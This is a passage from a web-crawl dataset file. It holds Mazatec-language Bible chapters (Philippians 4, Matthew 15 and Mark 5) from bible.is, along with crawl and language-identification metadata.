Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/John\/10\/12","date":"2014-03-11T23:52:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011355201\/warc\/CC-MAIN-20140305092235-00034-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999558926,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 0.9999558925628662}","num_words":55,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ma‑ni, jiòn ndí 'ndsé ra 'ñó tsjake̱‑no ko̱ ra 'ñó síkájno‑no, jiòn‑jiòn ra tsja 'bè‑la inìma̱‑na̱, jión ma jiòn kjo̱tjò ra tjábé‑na ra a̱'ta 'tse̱ xá‑na̱; 'koa̱á 'sín tíxian‑no nga 'ñó nda ti̱ncha ra a̱'ta 'tse̱ Na̱'ín‑ná, jiòn ra ngi ko̱ó inìma̱‑na̱ nga tsjake̱‑no. 2'Koa̱á 'sín tíbitsá'ba‑la̱ jñà tichjeé Evodia ko̱ Síntique, nga 'koa̱á 'sín jngo kata'sín kjo̱bítsjen‑la̱ ra a̱'ta 'tse̱ Na̱'ín‑ná. 3'Koa̱á ti̱'sín tíbitsá'ba‑la ji̱ ndí ndsè ra ta̱ña nda i̱nchiníxákjeé, nga ti̱si̱ko̱'ti jñà ndí íchjín kìi̱ ra ta̱ña isíxáko̱‑na nga inika'bísòn‑ji̱n jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ko̱ jè Clemente ko̱ jñà xi̱ta̱ ra i'ka ra kisíxáko̱‑na; nga'tsì xi̱ta̱ kìi̱ ijyeé ya̱ kji'ta 'í‑la̱ jè xa̱jo̱n 'tse̱ kjo̱binachon ra tíjna ya̱ ján ngajmi. 4Tsja kata'se ki'ta‑no a̱'ta 'tse̱ Na̱'ín‑ná. India‑isa ko̱'sín tíxian‑no, ¡tsja kata'se‑no! 5Katabe nga'tsì xi̱ta̱ nga 'ñó nda inìma̱ tjín‑najiòn. Ijyeé machraña‑ní nga kj'i̱í india‑ni jè Na̱'ín‑ná. 6Kì tà chjàn mé ra 'ñó níkájno jiòn; ta isa̱á jè Nainá ti̱jé‑la ta mé ra mejèn‑no, 'kia̱ nga ki̱nákjoa̱'ta‑la, 'kia̱ nga kítsa'ba‑la ko̱ ko̱'tìn‑la̱ nga tse kjo̱nda kata'se‑la̱ ra jè. 7Ko̱ jè kjo̱'nchán ra tsjá Nainá ra isa̱ 'ñó nda tjín koni 'sín machi̱ya‑la̱ xi̱ta̱, jè nda ko̱si̱ko̱ inìma̱‑no ko̱ kjo̱bítsjen‑no nga ya̱ titsa̱jnako̱o Cristo Jesús. 8Ra fehe'ta‑ni jiòn ndí 'ndsé ko̱ ndí tichjeé, 'koa̱á xián‑no, jñà kjón nda ti̱kíjna ítjòn jiòn kjoa̱ kìi̱: jñà 'én ra ngi kixi̱ tjín, jñà kjoa̱ ra 'ñó nda 'yaxkón, ko̱ kó'sín nga kixi̱ si̱jché ijo‑ná, ko̱ kjoa̱ ra tsje tjín, ko̱ ra nda sasén‑la̱ xi̱ta̱, ko̱ nga'tsì kjoa̱ ra nda na'yá‑la̱. Ko̱ tsa tjín‑isa kjoa̱ ra 'ñó nda tjín, ra machjeén‑la̱ nga 'nga si̱kíjna, jñà kjòn isa̱ nda ti̱kítsjen ítjòn jiòn. 9Ko̱'sín 'tia̱àn jiòn koni 'sín tjín nga'tsì kjoa̱ ra a̱'ta tsa̱'a̱n kjomà‑no, ko̱ ra a̱'ta tsa̱'a̱n itjábé‑no, kjoa̱ ra a̱'ta tsa̱'a̱n ina'yá jiòn, ko̱ ra a̱'ta tsa̱'a̱n kijcha; ko̱'sín ti̱hitjasòn jiòn ko̱ jè Nainá ra ma‑la̱ tsjá‑ná kjo̱'nchán nda kíjnako̱ ki'ta‑no. 10Taxki̱ 'ñó matsja‑na ra a̱'ta 'tse̱ Na̱'ín‑ná, 'kia̱ nga be nga takó 'ñó níkájno jiòn ra a̱'ta tsa̱'a̱n. Mí‑la tsa tsò‑ni kjoa̱ nga mì ti̱ iníkájno‑nájiòn ra a̱'ta tsa̱'a̱n nga ti̱'sa̱ ítjòn; ta jé‑ní nga mì kì ndi̱to̱n itjo'nde‑najiòn kó'sín ma inikasén jiòn kjo̱tjò‑no. 11Mì tsa ta ki ko̱tíxin‑na nga tjín ra tíchija'ta‑na; ra 'a̱n, ijyeé nga‑na nga tsjaá tjín ki'ta‑na ni̱'sín ta kó'sín tíjna̱. 12Ijyeé be‑náa̱ kó'sín ma 'kia̱ nga 'ñó i'in‑ya bìtsa̱jneé, ko̱ be‑ná kó'sín ma 'kia̱ nga tjín ki'tá‑ná mé ra nichjeén. Ijyeé isakò‑na kó'sín nga tsja 'se̱ ki'ta‑na tsa ski tjín i̱ndsi̱'bàa̱ o̱ ra kjinchrá tíbato, a 'ñó tse tsajmì tjín‑na, o̱ ra ni̱mé tjín‑na. 13Maá ko̱tojian ni̱'sín ta mé kjoa̱‑ni, nga̱ jè Cristo títsjá nga'ñó ki'ta‑na. 14Tanga takó ndaá tjín nga ko̱'sín i̱nchibisìko̱'tá‑nájiòn 'ndi̱‑ni̱ 'kia̱ nga ko̱'sín kjo̱hi'in tijna̱jiaa̱n. 15Jiòn ra xi̱ta̱ Filipo 'mì‑no, ndaá tjíjin‑najiòn, 'kia̱ nga ijye ítjo̱jian ya̱ Macedonia nga ítsiki'tsiáa̱ nga tsi'kènájmíya jè 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo, ni̱jngo na̱xi̱ndá‑la̱ Cristo ra kj'ií tsasìko̱‑na; ta jión‑najiòn ra kjomà‑no ki'tsí‑ná mé‑nioo̱ ra kjochjeén‑na. 16Skanda nga ti̱'kia̱á‑ni nga tsakáti̱jnaa̱ ya̱ na̱xi̱ndá Tesalónica, ti̱ india ti̱ ijan inikasén‑nájiòn kjo̱tjò ra kjochjeén‑na. 17Mì tsa kì ko̱xian‑na tsa mé kjo̱tjò ra mejèn-isa‑na ra a̱'ta tsa̱jiòn, ta jé‑ní ra mejèn‑na nga katama kinda̱ ya̱ ngixko̱n Nainá kjo̱tjò ra 'biò jiòn. 18Ijyeé tse tjín‑ni kjo̱tjò ra inikasén‑nájiòn ko̱ skanda tsatoné‑la̱ koni 'ki nga machjeén‑na. Skanda jnengií chiba‑na 'ndi̱‑ni̱, nga̱ ijyeé 'ji jè kjo̱tjò ra inikasén‑ko̱ jiòn jè Epafrodito. Jè kjo̱tjò ra inikasén jiòn, 'koa̱á 'sín ngoya‑la̱ koni jngo kjo̱tjò ra nda jne̱‑la̱ ko̱ nda sasén‑la̱ Nainá. 19'Koa̱á ma‑ni, jè Nainá ra kji'ta takòo̱n, jè si̱ìkasén ijye‑najiòn mé ra machjeén‑no, koni 'sín nga 'ñó jeya tjín kjoa̱nchi̱ná ra tjín ra a̱'ta 'tse̱ Cristo Jesús. 20Jè Nainá ra Na̱'ìn 'mì‑lá, 'ñó jeya katijna ki'ta skanda ta mé ni̱chjin ko̱ skanda ta mé nó‑ni. Ko̱'sín katama. 21Ti̱hixo'ta ijye‑ná jngó jngó xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra a̱'ta 'tse̱ Cristo Jesús makjiín‑la̱. Jñà 'ndsé ra títsa̱jnako̱‑na ti̱'koa̱á síhixo'tá‑no nga'tsì‑najiòn. 22Nga'tsì jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra a̱'ta 'tse̱ Cristo makjiín‑la̱ síhixo'tá‑no, títsa̱jna ítjòn kjòn jñà ra ya̱ síxá a̱'ta 'tse̱ xi̱ta̱xá ítjòn ra 'mì César. 23Ko̱'sín katatsjá‑no kjo̱nda‑la̱ jè Jesucristo ra tíjna ítjòn‑ná. Ko̱'sín katama.\nFilipenses 4","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Phil\/4","date":"2014-03-09T03:28:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999671301\/warc\/CC-MAIN-20140305060751-00037-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":680,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.301,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ijchò i'nga xi̱ta̱ fariseo ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés xi inchrobà‑ne Jerusalén nga kiskònangui‑la̱ Jesús, kitsò‑la̱: 2―¿Mé‑ne jñà xi̱ta̱ xi kota'yàt'aà‑lè, k'e̱ nga kjèn, mì k'oa̱á s'ín oníjno‑ne tsja koni s'ín síjé kjo̱tíxoma‑la̱ xi̱ta̱ jchínga‑ná? 3Jesús k'e̱é kiskònangui‑la̱ jñà xi̱ta̱ koi, kitsò‑la̱: ―¿Jñò, mé‑ne mìkiì nìkitasòn‑nò kjo̱tíxoma‑la̱ Nainá nga koi onguítji̱ngui‑là kjo̱tíxoma‑la̱ xi̱ta̱? 4Jè Nainá k'oa̱á kitsò: \"Jcha̱xkoín na̱'èn‑lè ko̱ nea̱‑lè\", ko̱: \"Jè xi chja̱jno‑la̱ na̱'èn‑la̱ ko̱ nea̱‑la̱ tjínè‑la̱ nga ki̱yá.\" 5Ta̱nga jñò bixón‑nó: \"Jngoò xi̱ta̱ ma ki̱tso̱‑la̱ na̱'èn‑la̱, o nea̱‑la̱: Mìkiì ko̱ma siìchját'aà‑lè; ngats'iì tsojmì xi tjín‑na, jè Nainá jye kitsjaà‑la̱.\" 6Bixón‑nó nga mì ti̱ kiì tjí'nde‑la̱ nga skoe̱xkón na̱'èn‑la̱ ko̱ nea̱‑la̱; mì ti̱ kiì ko̱ma ko̱si̱ko̱‑nò. K'oa̱á s'ín 'nè jñò nga nìkíjna kjo̱tíxoma‑la̱ Nainá nga koi onguítji̱ngui‑lá kjo̱tíxoma tsa̱jòn. 7Jñò, xi̱ta̱ xi jò ma i̱sén‑nò, ndaà kiìchja̱ i̱t'aà tsa̱jòn Isaías, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá k'e̱ nga kitsò: 8Jñà xi̱ta̱ koi beèxkón‑na xi tà 'én chja̱ ta̱nga jè ini̱ma̱‑la̱ kjiìn tíjnat'aàxìn. 9Ni̱mé chjí‑la̱ nga beèxkón‑na, nga kjo̱tíxoma‑la̱ xi̱ta̱á okóya koni tsà kjo̱tíxoma‑la̱ Nainá. 10Jesús, k'e̱é kiìchja̱‑la̱ ngats'iì xi̱ta̱, kitsò‑la̱: ―Ti̱ná'yaà ko̱ ndaà kàtachi̱ya‑nò. 11Jñà tsojmì xi tso'ba kine‑ne xi̱ta̱, mìtsà jñà xi síkits'ón xi̱ta̱ nga nguixko̱n Nainá; jñà xi tso'ba bitjo‑ne xi síkits'ón. 12Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ijchòkon, kiskònangui‑la̱, kitsò‑la̱: ―¿A tíjiìn‑lè jñà xi̱ta̱ fariseo kòjti‑la̱ k'e̱ nga kiì'nchré 'én koni s'ín kinokjoì? 13Jesús kitsò‑la̱: ―Ni̱to̱n mé tsojmì tjè xi mìtsà jè Na̱'èn‑na̱ xi tíjna ngajmiì tsibítje̱, tjánè‑né skanda ko̱ i̱ma̱‑la̱. 14Kì kiì 'nè kinda̱; jñà xi̱ta̱ fariseo mejèn‑la̱ okó‑la̱ ndi̱yá jñà xi̱ta̱ xi mìkiì tsejèn‑la̱, ta̱nga jñà, ti̱koa̱á mìkiì tsejèn‑la̱. Tsà jngoò xi̱ta̱ xi mìkiì tsejèn‑la̱, mìkiì ko̱ma ko̱kò‑la̱ ndi̱yá ìjngoò xi ti̱koa̱ mìkiì tsejèn‑la̱. Ingajò, ya̱á ki̱xo̱ya nga̱jo̱ ñánda ch'o choòn. 15Pedro kitsò‑la̱ Jesús: ―Tèno̱jmíya‑náje̱n jè kjoa̱ koi koni s'ín kasi. 16Jesús kitsò: ―¿Jñò, a ti̱koa̱á mìkiì machi̱ya‑nò kó tsòya‑ne? 17¿A mì fìya‑nò ngats'iì tsojmì xi ndso̱baá chine‑ná, i̱ndso̱'bá fìs'en, i̱kjoàn bitjojiìn‑ne yijo‑ná? 18Ta̱nga ngats'iì 'én xi ndso̱baá nokjoàa‑ná, ini̱ma̱‑ná bitjojiìn; jñà 'én koi, jñà‑né xi síkits'ón xi̱ta̱ nga nguixko̱n Nainá. 19Nga ya̱á bitjokàjiìn ini̱ma̱‑la̱ xi̱ta̱ kjo̱hítsjeèn xi ch'o tsò, koni jñà xi xi̱ta̱ sík'en, ko̱ xi kjoa̱ chijngui s'ín ts'e̱ xi̱ta̱ xi kj'eè kiì bixan ko̱ xi jye chixàn, ko̱ kjoa̱ chijé, ko̱ kjoa̱ ndiso ko̱ kjoa̱ nga chja̱jno‑ná. 20Ngats'iì kjoa̱ koi xi ini̱ma̱‑la̱ bitjokàjiìn‑ne xi̱ta̱, jñà‑né xi síkits'ón xi̱ta̱; ta̱nga k'e̱ nga bichiaá, na̱s'ín mìkiì onìjnoaá ndsa̱á, mìkiì síkits'ón‑ná. 21Jesús itjokàjiìn ya̱ i̱'nde jè; kiì i̱'nde ñánda 'mì Tiro ko̱ Sidón. 22Jngoò chjo̱ón xi xi̱ta̱ Cananea xi ya̱ i̱'nde‑la̱, inchrobà‑ne ijchòkon Jesús, 'ñó kiìchja̱, kitsò‑la̱: ―¡Na̱'èn, nga ya̱ nchrobàt'aà‑ne tje̱‑la̱ xi̱ta̱xá ítjòn David [nga ji̱ tijna ngajo‑la̱] jcha̱hi̱ma̱‑ná! Ndí tsòti‑na̱ ch'in nei̱í tíjiìn ini̱ma̱‑la̱, tseé kjo̱'in tísíkjeiín. 23Ta̱nga Jesús nì mé 'én kiìchja̱‑la̱ jè chjo̱ón. Ko̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, kitsò: ―Ko̱t'ìn‑la̱ chjo̱ón jè, kàtjì‑ne; tsí ch'o kjindáya tji̱ngui‑ná. 24K'e̱é kitsò Jesús: ―Nainá kisìkasén‑na, tà jñà j'i̱ katsjià xi̱ta̱ na̱xa̱ndá Israel nga kichijà koni orrè. 25Ta̱nga jè chjo̱ón tsasìxkó'nchit'aà‑la̱ Jesús, kitsò‑la̱: ―Na̱'èn, ti̱chját'aà‑ná. 26Jesús kitsò‑la̱: ―Mìkiì ndaà tjín nga chjaà'an‑lá ni̱ño̱ jñà i̱xti, i̱kjoàn k'oi̱‑lá nañá. 27Ta̱nga jè chjo̱ón kitsò: ―Jon, Na̱'èn, ta̱nga jñà nañá kineé xi̱‑la̱ tsojmì xi bixòngui ími̱xa̱‑la̱ nei‑la̱. 28Jesús k'e̱é kitsò‑la̱: ―Ji̱ chjo̱ón, 'ñó ndaà mokjeiín‑lè i̱t'aà ts'a̱n. K'oa̱s'ín kàtama koni s'ín mejèn‑lè. Ko̱ jè tsòti‑la̱ chjo̱ón, ti̱k'e̱é kjòndaà‑ne nga ti̱jè‑ne hora. 29Jesús kiì‑ne ya̱ i̱'nde ñánda 'mì Tiro ko̱ Sidón koa̱ tsatot'aà i̱ndiì nandá Galilea. K'e̱é kiìmijìn‑jno jngoò nindoò ko̱ ya̱á tsibìjna. 30Kjìn jchán xi̱ta̱ ijchòtji̱ngui‑la̱ ñánda tíjna; ijchòko̱‑la̱ xi̱ta̱ xi tsá'yá kjoàn, xi̱ta̱ xi mìkiì tsejèn‑la̱, xi̱ta̱ xi kótó tsja kjoàn, xi̱ta̱ xi mìkiì ma chja̱ ko̱ xi̱ta̱ xi kj'ei̱í ch'in tjín‑la̱; ya̱á kisìkítsa̱jnangui ndso̱ko̱ Jesús. Ngats'iì xi̱ta̱ koi kisìndaà‑ne. 31Tà kjòxkón‑la̱ jñà xi̱ta̱ k'e̱ nga kijtseè nga komà kiìchja̱‑ne jñà xi mìkiì ma chja̱; koa̱ jñà xi mìkiì ndaà síxá tsja, kjòndaà‑ne; xi mì ma fì, komà kiì‑ne; koa̱ jñà xi mìkiì tsejèn‑la̱, kjòtsejèn‑la̱. K'e̱é jeya kisìkíjna Nainá koni kisìko̱ jñà xi̱ta̱‑la̱ na̱xa̱ndá Israel. 32Jesús kiìchja̱‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, kitsò‑la̱: ―Mahi̱ma̱keè‑ná jñà xi̱ta̱ koi. Jye kò jàn na̱chrjein tjín‑la̱ nga títsa̱jnako̱‑na, koa̱ ni̱mé tjín tsojmì xi kine. Majìn‑na nga tà k'oa̱s'ín sìkasén chjan‑na ni'ya‑la̱ tsà ya̱ ko̱hindaàya ndi̱yá. 33Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kitsò: ―Jngoò i̱'nde i̱t'aà xìn ñánda ni̱mé tsojmì tjín, ¿kós'ín ko̱ma sakó‑ná tsojmì xi ko̱kje̱n jñà xi̱ta̱ koi nga 'ñó kjìn ma‑ne? 34Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Kó tjín ma i̱nchra̱jín xi tíyijò‑nò? Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ kitsò: ―Itoò ma‑ne i̱nchra̱jín, ko̱ tjín chiba‑naje̱n ti̱n jtobá. 35K'e̱é kitsò Jesús: ―Koa̱tìn‑la̱ kàtìtsa̱jnat'aà nangui jñà xi̱ta̱. 36Jesús kiskoé i̱nchra̱jín xi itoò ma‑ne ko̱ jñà ti̱n jtobá, kitsjaà‑la̱ kjo̱ndaà Nainá, i̱kjoàn kisìxkoa̱ya, kjònga̱tsja jñà xi̱ta̱ xi kota'yàt'aà‑la̱ mé‑ne nga kitsjaà‑la̱ jñà xi̱ta̱ xi kjìn ma‑ne. 37Tsakjèn yije xi̱ta̱ kóho̱tjín skanda kó nga kjòskiì. K'e̱ nga tsibíxkó‑ne xi tsiningui‑ne, nguì itoò ni̱si̱yá komà. 38Jñà xi̱ta̱ xi tsakjèn, ñijòn jmiì ma‑ne xi xi̱ta̱ x'i̱n, mìkiì kòxke̱ya jñà íchjín ko̱ i̱xti. 39Jesús kisìhixat'aà xi̱ta̱, i̱kjoàn jahas'en chitso koa̱ kiì ya̱ i̱'nde ñánda 'mì Magdala.\nSan Mateo 15","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/15","date":"2014-03-12T05:29:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021378450\/warc\/CC-MAIN-20140305120938-00045-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":810,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ijchò ján xijngoaà ndáchikon ya̱ nangui‑la̱ xi̱ta̱ Gadareno. 2K'e̱ nga itjojen chitso Jesús ijchò kasìt'aà jngoò‑la̱ xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱. Jè xi̱ta̱ jè ya̱á itjo‑ne i̱tsjó nga̱jo̱ mik'en. 3Xi̱ta̱ jè ya̱á bìjnaya ya̱ i̱tsjó nga̱jo̱ mik'en. Mì yá xi ma bít'aà'ñó na̱s'ín na'ñó ki̱cha̱ cadena. 4Kjìn k'a o̱kis'iìn‑ko̱ nga tsibít'aà'ñó ndso̱ko̱ ko̱ tsja na'ñó ki̱cha̱ cadena. Ni̱yá xi chíkjoa̱‑la̱ nga kisì'nchré; otejtso xó cadena. 5Ko̱ na̱chrjein ko̱ ni̱tje̱n ya̱á ojmeèsòn nindoò ñánda tjín i̱tsjó nga̱jo̱‑la̱ mik'en. Kjindáya tsò kjindáya ská nga kjaán ko̱ yijo‑la̱; 'beé‑la̱ nda̱jo̱ yijo‑la̱. 6K'e̱ nga kijtseè nga kjiìn tínchrobá Jesús, tsangachikon. Kiì kasìt'aà chrañà‑la̱, tsasèn‑xkó'nchit'aà‑la̱. 7'Ñó kiìchja̱, kitsò: ―¿Mé xi tjín‑lè ko̱ 'a̱n, Jesús, Ki'ndí‑la̱ Nainá xi 'ñó 'nga tíjna? Bìtsi'bà‑lè nga nguixko̱n Nainá, kì yatoòn‑ná. 8Koií k'oa̱s'ín kiìchja̱‑ne nga jè Jesús kitsò‑la̱: ―Ngaji̱ ini̱ma̱ ch'o‑la̱ nei̱í, titjo̱jiín ini̱ma̱‑la̱ xi̱ta̱ jè. 9Jesús kiskònangui‑la̱. Kitsò‑la̱: ―¿Kó 'mì‑lè? Jè kitsò: ―Legión 'mì‑na, koií‑né nga kjìn jchán ma‑naje̱n. 10Jñà ini̱ma̱ ch'o‑la̱ nei̱í, 'ñó tsibítsi'ba‑la̱ Jesús nga mì i̱t'aà xìn ski̱nì ya̱ i̱'nde jè. 11Ko̱ ya̱ chrañà i̱t'aà nindoò, kjìn chi̱nga̱ nchikjèn‑jno. 12Jñà ini̱ma̱ ch'o‑la̱ nei̱í tsibítsi'ba‑la̱ Jesús. Kitsò‑la̱: ―Ya̱á ti̱kasén‑náje̱n ñánda tjín chi̱nga̱; ya̱á ki̱tjás'e̱n‑jiìn‑je̱n yijo‑la̱. 13Jesús kitsjaà'nde‑la̱; jñà ini̱ma̱ ch'o‑la̱ nei̱í itjojiìn ini̱ma̱‑la̱ xi̱ta̱ jè; i̱kjoàn jahas'en‑jiìn yijo‑la̱ chi̱nga̱. Ma‑la̱ tsà jò jmiì jñà chi̱nga̱ xi tsanga; tsatíkjájen‑jno ya̱ na̱xi̱ skanda i̱jiìn ndáchikon, ya̱á k'en yije i̱jiìn ndáchikon. 14Jñà xi̱ta̱ xi ko'ndà chi̱nga̱, tsanga. Kiì kéno̱jmí‑la̱ xi̱ta̱ na̱xa̱ndá ko̱ xi̱ta̱ rancho̱ jè kjoa̱ xi komà. Jñà xi̱ta̱ na̱xa̱ndá ijchò katsejèn‑la̱ kjoa̱ xi komà. 15Kjìn xi̱ta̱ ijchò ñánda tíjna Jesús, kijtseè jè xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱ nga sa̱ ítjòn. Jyò tíjna. Íkjá‑ne nikje‑la̱. Ndaà tjín‑ne kjo̱hítsjeèn‑la̱. Xi̱ta̱ xi ijchò, ta kitsakjòn‑la̱. 16Jñá xi̱ta̱ xi kijtseè koni s'ín komàt'in jè xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱ nga kjòndaà‑ne ko̱ chi̱nga̱ xi tsatíkjá, tsibéno̱jmí‑la̱ jñá xi̱ta̱ xi ijchò xi mìkiì kijtseè. 17Jñà xi̱ta̱ xi ijchò tsibítsi'ba‑la̱ Jesús nga xìn i̱'nde kàtjì. 18K'e̱ nga jahas'en chitso Jesús, jè xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í kisijiìn ini̱ma̱‑la̱, tsibítsi'ba‑la̱ Jesús nga mejèn‑la̱ kji̱ko̱. 19Ta̱nga jè Jesús mìkiì kitsjaà'nde‑la̱. Kitsò‑la̱: ―T'in‑ne ni'ya‑lè, tèno̱jmí yije‑la̱ xi̱ta̱ xingui̱i jè kjo̱ndaà xi kisìko̱‑lè Nainá; kós'ín kijtseè i̱ma̱‑lè. 20Xi̱ta̱ jè, kiì; i̱kjoàn tsibíts'ia̱ nga tsibéno̱jmí‑la̱ jñà xi̱ta̱ na̱xa̱ndá Decápolis jè kjo̱ndaà xi kisìko̱ Jesús. Ngats'iì xi̱ta̱ xi kis'eno̱jmí‑la̱ tà k'oa̱á komà‑la̱. 21Jesús tsibìjna'ya chitso, inchrobà ìjngoò k'a‑ne ján xijngoaà ndáchikon, kjìn jchán xi̱ta̱ chixoñat'aà ìjngoò k'a‑la̱, koa̱ ya̱á tsibìjnandiì ndáchikon. 22Ijchòkon jngoò xi̱ta̱ xi 'mì Jairo xi xi̱ta̱ ítjòn ts'e̱ ni'ya i̱ngo̱ sinagoga. K'e̱ nga kijtseè Jesús tsasèn‑xkó'nchit'aà‑la̱. 23'Ñó tsibítsi'ba‑la̱, kitsò‑la̱: ―Ndí tsòti‑na̱ jye kjo̱meè biyaà; nchroboí, tíkjiaán, tjat'aà‑la̱ ndsei̱i nga kàtandaà‑ne, mé‑ne nga kíjnakon‑ne. 24Jesús kiìko̱, kjìn jchán xi̱ta̱ kiìtji̱ngui‑la̱; chi̱ba̱‑la̱ ó'nchò'ñó‑né. 25Ya̱á tsóhojiìn jngoò chjo̱ón xi kjò tejò nó xk'én, ch'in jní tjín‑la̱. 26Kjòtseé tísíkjeiín kjo̱'in i̱t'aà ts'e̱ chji̱ne̱xkiì; jye xó kisìkje yije to̱n‑la̱; mìkiì mandaà‑ne, ta̱ saà tíma'ñó ch'in‑la̱. 27Chjo̱ón jè, k'e̱ nga kiì'nchré i̱t'aà ts'e̱ Jesús, kiìjiìn‑la̱ ngats'iì xi̱ta̱ kjìn; i̱jto̱n íts'i̱n kitsobà‑ne nikje‑la̱ Jesús. 28K'oa̱s'ín tísíkítsjeèn, kitsò: \"Tsà tà jè nikje‑la̱ sìkoa̱a, ko̱ndaá‑na.\" 29K'e̱ nga kitsobà'ñó nikje‑la̱, ni̱to̱ón kisijyò‑la̱ jní, koa̱ kijtseèyaá‑la̱ yijo‑la̱ nga jye kjòndaà‑ne ch'in‑la̱. 30Jesús ni̱to̱ón kijtseèya‑la̱ nga nga'ñó‑la̱ itjojiìn; kisìkátji, kiskoòtsejèn‑jiìn‑la̱ xi̱ta̱ kjìn, kitsò: ―¿Yá xi kàtsobà'ñó nikje‑na̱? 31Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kitsò‑la̱: ―¿A mìtsà 'yi nga jñà xi̱ta̱ ó'nchò'ñó‑lè? Ngaji̱ si‑né: \"¿Yá xi kàtsobà'ñó nikje‑na̱?\" 32Ta̱nga jè Jesús kotsejèn‑jiìn‑la̱ jñà xi̱ta̱ nga mejèn‑la̱ skoe̱ yá xi kitsobà'ñó nikje‑la̱. 33Chjo̱ón jè, tsí tíhotsé‑né nga kitsakjòn, nga jyeé tíjiìn‑la̱ kós'ín komà ch'in‑la̱; kiì, tsasèn‑xkó'nchit'aà‑la̱ Jesús; tsibéno̱jmí kixi̱ yije‑la̱ kós'ín komàt'in. 34Jesús kitsò‑la̱: ―Ndí nea̱a, koi‑né nga mokjeiín‑lè i̱t'aà ts'a̱n nga kòmandaà‑ne. T'in‑là ndaà‑ne. Jyeé kòmaxkiì‑la̱ ch'in‑lè. 35Tákó ti̱k'e̱é tíchja̱‑ìsa Jesús nga j'iì i'nga xi̱ta̱ xi inchrobà‑ne ni'ya‑la̱ xi̱ta̱ ítjòn ts'e̱ ni'ya i̱ngo̱ sinagoga, kitsò‑la̱: ―Kì ti̱ kiì nìsiì‑la̱ Maestro, ndí tsòti‑lè jyeé k'en. 36Ta̱nga jè Jesús, nga kiì'nchré koni kitsò o̱kixi̱ xi j'iìko̱, kitsò‑la̱ jè na̱'èn‑la̱ ndí tsòti: ―Kì tsakjoòn‑jèn; tà jè‑né nga kàtakjeiín‑lè. 37Jesús mìkiì kitsjaà'nde nga kjìn xi̱ta̱ kiìko̱. Tà jè Pedro, Jacobo ko̱ Juan 'ndse̱ Jacobo. 38K'e̱ nga ijchò ni'ya‑la̱ jè xi̱ta̱ ítjòn ts'e̱ ni'ya i̱ngo̱ sinagoga, Jesús kijtseè nga fìjen fìkjá xi̱ta̱, 'ñó nchikjindáya ko̱ 'ñó nchisíkájno. 39Jahas'en ni'ya Jesús, kitsò‑la̱: ―¿Mé‑ne ko̱'nè‑nò nga ko̱ tà ndaà chìhindáya‑nò? Jè ndí tsòti mìtsà kòbiyaà; ta kjinafé‑né. 40Jñà xi̱ta̱ xi títsa̱jna tà tsijnòkeè Jesús. K'e̱é tsachrje yije ni'ya kóho̱tjín xi̱ta̱; tà jñà tsibìtsa̱jna na̱'èn‑la̱, nea̱‑la̱, ko̱ xi̱ta̱ ts'e̱ xi tji̱ko̱. I̱kjoàn jahas'en ñánda kijna ndí tsòti. 41Kiskoé tsja, kitsò‑la̱: ―Talita cumi ―'én xi tsòya‑ne: Ji̱ tsòti, k'oa̱á xan‑lè, ti̱sítji̱in. 42Jè ndí tsòti ni̱to̱n tsasítje̱n, tsajmeè‑ne. Jye kjò tejò nó tjín‑la̱. Jñà xi̱ta̱ xi títsa̱jna, 'ñó jchán kitsakjòn. 43Ta̱nga Jesús 'ñó kitsjaà o̱kixi̱ nga mì yá xi̱ta̱ xi ke̱èno̱jmí‑la̱. I̱kjoàn kitsò‑la̱: ―Tjiì‑la̱ nga kàtakjèn ndí tsòti.\nSan Marcos 